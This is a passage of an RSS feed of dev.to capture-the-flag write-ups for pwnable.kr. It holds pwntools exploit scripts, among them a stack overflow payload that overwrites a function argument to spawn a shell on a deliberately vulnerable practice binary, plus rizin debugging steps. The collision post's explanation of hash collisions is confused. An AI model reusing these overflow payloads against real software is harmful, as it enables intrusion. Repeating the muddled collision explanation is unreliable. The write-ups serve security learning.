&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x804a004&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x080485d7&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;# header
&lt;/span&gt;&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvline&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvall&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If you look online there are other exploitation solutions, notably one as a oneliner. But it only works with Python2 for some reason. I couldn't understand why. If you know about it, let me know in the comments!&lt;/p&gt;

</description>
      <category>security</category>
      <category>writeup</category>
      <category>ctf</category>
    </item>
    <item>
      <title>Pwnable.kr - Bof: Write-Up (with rizin and pwntools)</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Thu, 04 Feb 2021 14:44:32 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/pwnable-kr-bof-write-up-with-rizin-and-pwntools-313f</link>
      <guid>https://dev.to/evilcel3ri/pwnable-kr-bof-write-up-with-rizin-and-pwntools-313f</guid>
      <description>&lt;p&gt;This was such as cool challenge to practice reading Assembly!&lt;/p&gt;

&lt;p&gt;Generally speaking, this challenge is a bit different that the usual beginner buffer overflow challenge as there a some tricks present. &lt;/p&gt;

&lt;p&gt;For example, the binary has PIE and canaries enabled, so you'd think a buffer overflow wouldn't be possible. That's where you're wrong kid! (I was so wrong).&lt;/p&gt;

&lt;p&gt;The approach is based on 3 steps:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;identify the vulnerable function&lt;/li&gt;
&lt;li&gt;identify the buffer&lt;/li&gt;
&lt;li&gt;write the exploit&lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;
  
  
  The code
&lt;/h1&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;overflowme&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"overflow me : "&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;gets&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;overflowme&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// smash me!&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mh"&gt;0xcafebabe&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/bin/sh"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Nah..&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[]){&lt;/span&gt;
    &lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xdeadbeef&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It's pretty obvious what we should do: &lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;function &lt;code&gt;func&lt;/code&gt; is called with the &lt;code&gt;0xdeadbeef&lt;/code&gt; argument.&lt;/li&gt;
&lt;li&gt;if the argument is equal to &lt;code&gt;0xcafebabe&lt;/code&gt;, it will unlock a shell. Otherwise, it will just tell you "Nah..".&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  Getting into the code
&lt;/h1&gt;

&lt;p&gt;Let's check the code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~ checksec bof
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;(&lt;code&gt;checksec&lt;/code&gt; is part of the &lt;a href="https://docs.pwntools.com/en/stable/"&gt;pwntools&lt;/a&gt; suite)&lt;/p&gt;

&lt;p&gt;Checking the imports with &lt;code&gt;rz-bin -i bof&lt;/code&gt; gives us this result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[Imports]
nth vaddr      bind   type   lib name
―――――――――――――――――――――――――――――――――――――
1   0x000004c0 GLOBAL FUNC       gets
2   0x000004d0 GLOBAL FUNC       __stack_chk_fail
3   0x000004e0 WEAK   FUNC       __cxa_finalize
4   0x000004f0 GLOBAL FUNC       puts
5   0x00000500 GLOBAL FUNC       system
6   0x00000510 WEAK   NOTYPE     __gmon_start__
7   0x00000520 GLOBAL FUNC       __libc_start_main
8   0x00000000 WEAK   NOTYPE     _Jv_RegisterClasses

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we know already there is the &lt;code&gt;gets&lt;/code&gt; function that is usually the culprit in buffer overflow attacks but that there is also &lt;code&gt;stack_chk_fail&lt;/code&gt; so we cannot smash the stack like we want as it will be blocked by this failsafe.&lt;/p&gt;

&lt;p&gt;Let's open that with &lt;a href="https://book.rizin.re/"&gt;&lt;code&gt;rizin&lt;/code&gt;&lt;/a&gt;: &lt;code&gt;rizin -A bof&lt;/code&gt; (with full analysis) and get all functions:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hCnElPgC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/eog2f1zdgjdhhfsiev37.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hCnElPgC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/eog2f1zdgjdhhfsiev37.png" alt="all functions"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Then disassemble &lt;code&gt;main()&lt;/code&gt; and &lt;code&gt;func()&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--DhSG5dAG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/yp75ysj2rdw94ejiw1k0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--DhSG5dAG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/yp75ysj2rdw94ejiw1k0.png" alt="disassemble main and func"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Nothing really new, let's try to run that binary. Without leaving &lt;code&gt;rizin&lt;/code&gt;, run &lt;code&gt;ood&lt;/code&gt; to relaunch in debug and let's add a break point just at the &lt;code&gt;var = dword [arg_8h] - 0xcafebabe&lt;/code&gt; instruction with &lt;code&gt;db addr&lt;/code&gt; (the address might change on your computer).&lt;/p&gt;

&lt;p&gt;Now, run &lt;code&gt;dc&lt;/code&gt; to start the debugging process.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--R3rsISAk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/yuur7iu5dm0938dxgod9.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--R3rsISAk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/yuur7iu5dm0938dxgod9.png" alt="hitting breakpoint"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's check the registers with &lt;code&gt;drr&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--B5KAROO2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/4wiocmyd9n91f2q9xxvb.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--B5KAROO2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/4wiocmyd9n91f2q9xxvb.png" alt="registers"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So here, &lt;code&gt;eax&lt;/code&gt; has &lt;code&gt;pouet&lt;/code&gt; as a value (what we entered) and &lt;code&gt;esp&lt;/code&gt; points to &lt;code&gt;eax&lt;/code&gt;. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;0xcafebabe&lt;/code&gt; will be compared to the argument of the function (&lt;code&gt;0xdeadbeef&lt;/code&gt;) and if it's true, then we'll get the &lt;code&gt;system&lt;/code&gt; call. But it's impossible so far as the argument is already set.&lt;/p&gt;

&lt;p&gt;Allowing us to write something is just useful for the exercise not the code itself.&lt;/p&gt;

&lt;p&gt;So if we manage to overwrite &lt;code&gt;0xdeadbeef&lt;/code&gt; and replace it by &lt;code&gt;0xcafebabe&lt;/code&gt; we'll get access to the system call. &lt;/p&gt;

&lt;p&gt;&lt;code&gt;0xdeadbeef&lt;/code&gt; is locate in &lt;code&gt;ebp +8&lt;/code&gt;, let's check that out:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mmABWBkq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/wbhnsslrt4kp4awgj3t4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mmABWBkq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/wbhnsslrt4kp4awgj3t4.png" alt="xw 4 @ ebp+8"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And &lt;code&gt;eax&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--in2PosKk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/cuwyu108sr0d0w779jlf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--in2PosKk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/cuwyu108sr0d0w779jlf.png" alt="xw 4 @ eax"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We have now two memory addresses: &lt;code&gt;0xff8e9c5c&lt;/code&gt; and &lt;code&gt;0xff8e9c90&lt;/code&gt; that are not too far from each other. To know the distance, let's calculate it:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--6GWlX31L--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/7vw3zosb48ak07v9oqvy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--6GWlX31L--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/i/7vw3zosb48ak07v9oqvy.png" alt="?w addr1-addr2"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;?w&lt;/code&gt; will show what's in an address. I found some tutorial using &lt;code&gt;?X&lt;/code&gt; but that didn't make sense to me. To see the help of those commands use &lt;code&gt;???&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;So the difference between the two addresses is 52 bytes. That'd be our buffer. &lt;/p&gt;

&lt;h1&gt;
  
  
  Exploit!
&lt;/h1&gt;

&lt;p&gt;Using &lt;code&gt;pwntools&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pwn&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arch&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"i386"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"linux"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;e&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ELF&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"./bof"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="s"&gt;"A"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;52&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;p32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0xcafebabe&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;endian&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"little"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="n"&gt;p&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;process&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;level&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s"&gt;"error"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recvline&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="c1"&gt;# overflow me:
&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sendline&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;interactive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I found a lot of cool new techniques for pwntools &lt;a href="https://tc.gts3.org/cs6265/2019/tut/tut03-02-pwntools.html"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;And that's it! It works locally and you'll have to modify the code for the remote exploit yourself, but it isn't too hard, don't worry!&lt;/p&gt;

</description>
      <category>ctf</category>
      <category>security</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>Pwnable.kr - Collusion: Write up</title>
      <dc:creator>chris</dc:creator>
      <pubDate>Wed, 03 Feb 2021 21:37:16 +0000</pubDate>
      <link>https://dev.to/evilcel3ri/pwnable-kr-collusion-write-up-2joh</link>
      <guid>https://dev.to/evilcel3ri/pwnable-kr-collusion-write-up-2joh</guid>
      <description>&lt;p&gt;This a fun challenge that is good to practice debugging and reading C code (which I don't really know). &lt;/p&gt;

&lt;p&gt;A collusion is giving a message that has the same signature than your encoded password. Like your password is saved in an encoded way in a database with a hashing function X, when you log in to the service, you send your password which is hashed to X and that is checked with the database. If you give directly the hash Y that is equal to X, then you managed to log in without finding the password. For example, MD5 is vulnerable to it (other ciphers too). It's due to the limitations of the calculation of the hash (I think).&lt;/p&gt;

&lt;p&gt;So the main code is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="cp"&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
&lt;/span&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;hashcode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x21DD09EC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="nf"&gt;check_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="n"&gt;res&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[]){&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argc&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"usage : %s [passcode]&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;strlen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"passcode length should be 20 bytes&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;hashcode&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;check_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;argv&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="p"&gt;)){&lt;/span&gt;
        &lt;span class="n"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"/bin/cat flag"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;
        &lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"wrong passcode.&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;From here, there are a couple of interesting sections.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="n"&gt;hashcode&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x21DD09EC&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This section defines a global variable hashcode. We'll get back to it later.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;long&lt;/span&gt; &lt;span class="nf"&gt;check_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;const&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;ip&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;p&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
